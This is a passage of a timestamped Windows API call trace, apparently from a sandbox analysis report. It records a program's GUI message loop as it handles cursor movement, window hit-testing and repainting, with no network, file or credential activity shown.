lpdwProcessId=0x18f5d0) returned 0x8cc [0264.206] GetCurrentProcessId () returned 0x8d0 [0264.206] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.206] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0264.206] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0264.207] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0264.207] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0264.207] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.207] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=594)) returned 1 [0264.207] WindowFromPoint (Point=0x334) returned 0x10340 [0264.207] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2510334) returned 0x1 [0264.207] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.208] GetCurrentProcessId () returned 0x8d0 [0264.208] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.208] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.208] GetCapture () returned 0x0 [0264.208] WaitMessage () returned 1 [0264.211] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.212] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2580335) returned 0x1 [0264.212] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=821, y=600)) returned 1 [0264.212] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0264.212] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0264.212] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0264.212] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.212] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.212] GetCapture () returned 0x0 [0264.212] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0264.212] WindowFromPoint (Point=0x335) returned 0x10340 [0264.212] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2580335) returned 0x1 [0264.212] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0264.212] GetCurrentProcessId () returned 0x8d0 [0264.212] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.212] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0264.212] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0xc0017) returned 0x0 [0264.212] GetKeyState (nVirtKey=18) returned 1 [0264.212] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.213] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=600)) returned 1 [0264.213] WindowFromPoint (Point=0x335) returned 0x10340 [0264.213] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2580335) returned 0x1 [0264.213] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.213] GetCurrentProcessId () returned 0x8d0 [0264.213] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.213] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.213] GetCapture () returned 0x0 [0264.213] WaitMessage () returned 1 [0264.221] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.221] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x21f0326) returned 0x1 [0264.221] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=806, y=543)) returned 1 [0264.221] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0264.221] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.221] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.221] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.221] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.221] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.222] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.222] GetCapture () returned 0x0 [0264.222] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0264.222] WindowFromPoint (Point=0x326) returned 0x10344 [0264.222] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x21f0326) returned 0x1 [0264.222] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0264.222] GetCurrentProcessId () returned 0x8d0 [0264.222] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.222] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0264.222] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x200, wParam=0x0, lParam=0xc1009f) returned 0x0 [0264.222] GetKeyState (nVirtKey=18) returned 1 [0264.222] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.222] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.222] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.222] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0264.222] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f968 | out: lpdwProcessId=0x18f968) returned 0x8cc [0264.222] GetCurrentProcessId () returned 0x8d0 [0264.222] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.222] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18fbd8) returned 0x0 [0264.222] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.222] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.222] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.222] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0264.223] GetClientRect (in: hWnd=0x10340, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0264.223] FillRect (hDC=0x1f01019b, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0264.223] IsIconic (hWnd=0xc0060) returned 0 [0264.223] IsIconic (hWnd=0xc0060) returned 0 [0264.223] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0264.223] FillRect (hDC=0x3901069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0264.223] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3901069e, lParam=0x4) returned 0x0 [0264.223] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3901069e, lParam=0x10340) returned 0xe100186 [0264.223] GetSysColor (nIndex=8) returned 0x0 [0264.223] SetTextColor (hdc=0x3901069e, color=0x0) returned 0x0 [0264.223] GetSysColor (nIndex=15) returned 0xf0f0f0 [0264.223] SetBkColor (hdc=0x3901069e, color=0xf0f0f0) returned 0xf0f0f0 [0264.224] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0264.224] GetCurrentProcessId () returned 0x8d0 [0264.224] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.224] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0264.224] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0264.224] GetCurrentProcessId () returned 0x8d0 [0264.224] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.224] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0264.224] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0264.224] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0264.224] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0264.225] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.225] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=806, y=543)) returned 1 [0264.225] WindowFromPoint (Point=0x325) returned 0x10344 [0264.225] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x2200325) returned 0x1 [0264.225] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.225] GetCurrentProcessId () returned 0x8d0 [0264.225] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.225] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.225] GetCapture () returned 0x0 [0264.225] WaitMessage () returned 1 [0264.239] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.239] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x2290330) returned 0x1 [0264.239] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=816, y=553)) returned 1 [0264.239] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0264.239] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.239] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.240] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.240] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.240] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.240] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.240] GetCapture () returned 0x0 [0264.240] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0264.240] WindowFromPoint (Point=0x330) returned 0x10344 [0264.240] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x2290330) returned 0x1 [0264.240] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0264.240] GetCurrentProcessId () returned 0x8d0 [0264.240] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.240] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0264.240] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x200, wParam=0x0, lParam=0xcb00a9) returned 0x0 [0264.240] GetKeyState (nVirtKey=18) returned 1 [0264.240] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.240] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=816, y=553)) returned 1 [0264.240] WindowFromPoint (Point=0x331) returned 0x10344 [0264.240] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x2280331) returned 0x1 [0264.240] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.241] GetCurrentProcessId () returned 0x8d0 [0264.241] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.241] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.241] GetCapture () returned 0x0 [0264.241] WaitMessage () returned 1 [0264.252] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.252] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x2330335) returned 0x1 [0264.252] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=821, y=563)) returned 1 [0264.252] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0264.252] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.252] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.252] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.253] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.253] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.253] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.253] GetCapture () returned 0x0 [0264.253] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0264.253] WindowFromPoint (Point=0x335) returned 0x10344 [0264.253] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x2330335) returned 0x1 [0264.253] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0264.253] GetCurrentProcessId () returned 0x8d0 [0264.253] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.253] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0264.253] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x200, wParam=0x0, lParam=0xd500ae) returned 0x0 [0264.253] GetKeyState (nVirtKey=18) returned 1 [0264.253] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.253] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=563)) returned 1 [0264.253] WindowFromPoint (Point=0x335) returned 0x10344 [0264.253] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x2330335) returned 0x1 [0264.253] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.253] GetCurrentProcessId () returned 0x8d0 [0264.253] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.254] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.254] GetCapture () returned 0x0 [0264.254] WaitMessage () returned 1 [0264.262] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.262] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x84, wParam=0x0, lParam=0x23d0335) returned 0x1 [0264.262] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=821, y=573)) returned 1 [0264.262] ClientToScreen (in: hWnd=0x10342, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0264.263] PtInRect (lprc=0x18fc80, pt=0x15e) returned 0 [0264.263] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x20, wParam=0x10342, lParam=0x2000001) returned 0x0 [0264.263] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x10342, lParam=0x2000001) returned 0x0 [0264.263] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10342, lParam=0x2000001) returned 0x0 [0264.263] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.263] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.263] GetCapture () returned 0x0 [0264.263] PtInRect (lprc=0x18fd54, pt=0x15e) returned 0 [0264.263] ClientToScreen (in: hWnd=0x10342, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0264.263] WindowFromPoint (Point=0x335) returned 0x10342 [0264.263] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x84, wParam=0x0, lParam=0x23d0335) returned 0x1 [0264.263] GetWindowThreadProcessId (in: hWnd=0x10342, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0264.263] GetCurrentProcessId () returned 0x8d0 [0264.263] GetPropA (hWnd=0x10342, lpString=0xc167) returned 0x2c86ee0 [0264.263] ClientToScreen (in: hWnd=0x10342, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0264.263] PtInRect (lprc=0x18fd20, pt=0x15e) returned 0 [0264.263] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x200, wParam=0x0, lParam=0x138015e) returned 0x0 [0264.263] GetKeyState (nVirtKey=18) returned 1 [0264.264] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.264] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=573)) returned 1 [0264.264] WindowFromPoint (Point=0x334) returned 0xc0060 [0264.264] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x23f0334) returned 0x1 [0264.264] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.264] GetCurrentProcessId () returned 0x8d0 [0264.264] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0264.264] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.264] PtInRect (lprc=0x18fed0, pt=0x15d) returned 1 [0264.264] GetCapture () returned 0x0 [0264.264] WaitMessage () returned 1 [0264.273] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.273] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2470335) returned 0x1 [0264.274] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=821, y=583)) returned 1 [0264.274] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0264.274] PtInRect (lprc=0x18fc68, pt=0x15e) returned 0 [0264.274] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0264.274] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.274] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.274] GetCapture () returned 0x0 [0264.274] PtInRect (lprc=0x18fd3c, pt=0x15e) returned 0 [0264.274] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0264.274] WindowFromPoint (Point=0x335) returned 0xc0060 [0264.274] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2470335) returned 0x1 [0264.274] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fd10 | out: lpdwProcessId=0x18fd10) returned 0x8cc [0264.274] GetCurrentProcessId () returned 0x8d0 [0264.274] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0264.274] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd14 | out: lpPoint=0x18fd14) returned 1 [0264.274] PtInRect (lprc=0x18fd08, pt=0x15e) returned 0 [0264.274] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x200, wParam=0x0, lParam=0x142015e) returned 0x0 [0264.274] GetKeyState (nVirtKey=18) returned 1 [0264.275] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.275] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=583)) returned 1 [0264.275] WindowFromPoint (Point=0x335) returned 0xc0060 [0264.275] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2470335) returned 0x1 [0264.275] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.275] GetCurrentProcessId () returned 0x8d0 [0264.275] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0264.275] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.275] PtInRect (lprc=0x18fed0, pt=0x15e) returned 0 [0264.275] GetCapture () returned 0x0 [0264.275] WaitMessage () returned 1 [0264.280] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.280] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.280] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.280] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0264.281] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.281] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=583)) returned 1 [0264.281] WindowFromPoint (Point=0x335) returned 0xc0060 [0264.281] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2470335) returned 0x1 [0264.281] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.281] GetCurrentProcessId () returned 0x8d0 [0264.281] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0264.281] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.281] PtInRect (lprc=0x18fed0, pt=0x15e) returned 0 [0264.281] GetCapture () returned 0x0 [0264.281] WaitMessage () returned 1 [0264.295] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.295] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2510335) returned 0x1 [0264.295] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=821, y=593)) returned 1 [0264.295] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0264.295] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0264.295] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0264.295] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.295] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.295] GetCapture () returned 0x0 [0264.295] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0264.296] WindowFromPoint (Point=0x335) returned 0x10340 [0264.296] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2510335) returned 0x1 [0264.296] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0264.296] GetCurrentProcessId () returned 0x8d0 [0264.296] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.296] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0264.296] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0x50017) returned 0x0 [0264.296] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f958 | out: lpdwProcessId=0x18f958) returned 0x8cc [0264.296] GetCurrentProcessId () returned 0x8d0 [0264.296] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.296] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18fbc8) returned 0x0 [0264.296] GetKeyState (nVirtKey=18) returned 1 [0264.296] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.296] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.296] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.296] CallWindowProcA 